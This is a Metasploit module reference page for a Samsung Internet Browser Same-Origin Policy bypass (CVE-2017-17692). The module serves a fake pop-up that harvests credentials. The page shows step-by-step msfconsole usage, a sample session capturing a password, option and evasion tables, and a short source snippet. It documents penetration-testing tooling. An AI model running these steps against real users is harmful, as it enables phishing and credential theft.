Samsung Internet Browser SOP Bypass - Metasploit
This page contains detailed information about how to use the auxiliary/gather/samsung_browser_sop_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Samsung Internet Browser SOP Bypass
Module: auxiliary/gather/samsung_browser_sop_bypass
Source code: modules/auxiliary/gather/samsung_browser_sop_bypass.rb
Disclosure date: 2017-11-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-17692
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/samsung_browser_sop_bypass
msf auxiliary(samsung_browser_sop_bypass) > exploit
Knowledge Base
Vulnerable Application
This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in creds
Verification Steps
- Start
msfconsole -q
use auxiliary/gather/samsung_browser_sop_bypass
set SRVHOST
set SRVPORT
set URIPATH
set TARGET_URL
run
Scenarios
$ sudo msfconsole -q
msf > use auxiliary/gather/samsung_browser_sop_bypass
msf auxiliary(samsung_browser_sop_bypass) > set SRVHOST 192.168.1.104
SRVHOST => 192.168.1.104
msf auxiliary(samsung_browser_sop_bypass) > set SRVPORT 9090
SRVPORT => 9090
msf auxiliary(samsung_browser_sop_bypass) > set URIPATH /
URIPATH => /
msf auxiliary(samsung_browser_sop_bypass) > set TARGET_URL https://www.google.com/csi
TARGET_URL => https://www.google.com/csi
msf auxiliary(samsung_browser_sop_bypass) > run
[*] Auxiliary module execution completed
msf auxiliary(samsung_browser_sop_bypass) >
[*] Using URL: http://192.168.1.104:9090/
[*] Server started.
[*] 192.168.1.101: Request 'GET /'
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
[*] 192.168.1.101: Request 'GET /favicon.ico'
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
[*] 192.168.1.101: Request 'GET /favicon.ico'
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
[+] 192.168.1.101: Collected credential for 'https://www.google.com/csi' emailID:MyStrongPassword
msf auxiliary(samsung_browser_sop_bypass) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
emailID MyStrongPassword https://www.google.com/csi Password
msf auxiliary(samsung_browser_sop_bypass) >
Working of MSF Module: https://youtu.be/ulU98cWVhoI
Vulnerable Browser: https://youtu.be/lpkbogxJXnw
Go back to menu.
Msfconsole Usage
Here is how the gather/samsung_browser_sop_bypass auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/samsung_browser_sop_bypass
msf6 auxiliary(gather/samsung_browser_sop_bypass) > show info
Name: Samsung Internet Browser SOP Bypass
Module: auxiliary/gather/samsung_browser_sop_bypass
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-11-08
Provided by:
Dhiraj Mishra
Tod Beardsley
Jeffrey Martin
Available actions:
Name Description
---- -----------
WebServer Serve exploit via web server
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM_HTML This page has moved. Please <a href="#">click here</a> to redirect your browser. yes HTML to display to the victim.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGET_URL http://example.com/ yes The URL to spoof origin from.
URIPATH no The URI to use for this exploit (default is random)
Description:
This module takes advantage of a Same-Origin Policy (SOP) bypass
vulnerability in the Samsung Internet Browser, a popular mobile
browser shipping with Samsung Android devices. By default, it
initiates a redirect to a child tab, and rewrites the innerHTML to
gather credentials via a fake pop-up.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-17692
http://fr.0day.today/exploit/description/28434
Module Options
This is a complete list of options available in the gather/samsung_browser_sop_bypass auxiliary module:
msf6 auxiliary(gather/samsung_browser_sop_bypass) > show options
Module options (auxiliary/gather/samsung_browser_sop_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM_HTML This page has moved. Please <a href="#">click here</a> to redirect your browser. yes HTML to display to the victim.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGET_URL http://example.com/ yes The URL to spoof origin from.
URIPATH no The URI to use for this exploit (default is random)
Auxiliary action:
Name Description
---- -----------
WebServer Serve exploit via web server
Advanced Options
Here is a complete list of advanced options supported by the gather/samsung_browser_sop_bypass auxiliary module:
msf6 auxiliary(gather/samsung_browser_sop_bypass) > show advanced
Module advanced options (auxiliary/gather/samsung_browser_sop_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM_JS no Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/samsung_browser_sop_bypass module can do:
msf6 auxiliary(gather/samsung_browser_sop_bypass) > show actions
Auxiliary actions:
Name Description
---- -----------
WebServer Serve exploit via web server
Evasion Options
Here is the full list of possible evasion options supported by the gather/samsung_browser_sop_bypass auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/samsung_browser_sop_bypass) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<CLI.PEERHOST>: Unhandled method: <REQUEST.METHOD>
Here is a relevant code snippet related to the "<CLI.PEERHOST>: Unhandled method: <REQUEST.METHOD>" error message:
134: print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
135: print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
136: send_response(cli, @html)
137: when 'post' # must have fallen for it
138: collect_data(request)
139: else
140: print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
141: end
142: end
143:
144: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
- #9180 Merged Pull Request: Samsung Internet Browser SOP Bypass (CVE-2017-17692)
References
See Also
Check also the following modules related to this module:
- exploit/android/browser/samsung_knox_smdm_url
- exploit/linux/http/samsung_srv_1670d_upload_exec
- exploit/windows/browser/samsung_neti_wiewer_backuptoavi_bof
- exploit/windows/browser/samsung_security_manager_put
- auxiliary/admin/http/allegro_rompager_auth_bypass
- auxiliary/admin/http/grafana_auth_bypass
- auxiliary/admin/http/iis_auth_bypass
- auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
- auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
- auxiliary/admin/networking/cisco_dcnm_auth_bypass
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
- auxiliary/admin/vnc/realvnc_41_bypass
- auxiliary/scanner/http/cisco_ios_auth_bypass
- auxiliary/scanner/http/dir_webdav_unicode_bypass
- auxiliary/scanner/http/intel_amt_digest_bypass
- auxiliary/scanner/http/ms09_020_webdav_unicode_bypass
- auxiliary/scanner/http/rewrite_proxy_bypass
- auxiliary/scanner/http/verb_auth_bypass
- auxiliary/scanner/misc/dahua_dvr_auth_bypass
- auxiliary/scanner/ssh/libssh_auth_bypass
- auxiliary/gather/android_browser_file_theft
- auxiliary/gather/android_browser_new_tab_cookie_theft
- auxiliary/gather/android_stock_browser_uxss
- auxiliary/gather/browser_info
- auxiliary/gather/browser_lanipleak
- auxiliary/dos/android/android_stock_browser_iframe
- auxiliary/dos/windows/browser/ms09_065_eot_integer
- auxiliary/server/browser_autopwn
- auxiliary/server/browser_autopwn2
- auxiliary/admin/http/sophos_wpa_traversal
- auxiliary/pdf/foxit/authbypass
- auxiliary/scanner/http/fortimail_login_bypass_detection
- auxiliary/scanner/mysql/mysql_authbypass_hashdump
Authors
- Dhiraj Mishra
- Tod Beardsley
- Jeffrey Martin
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.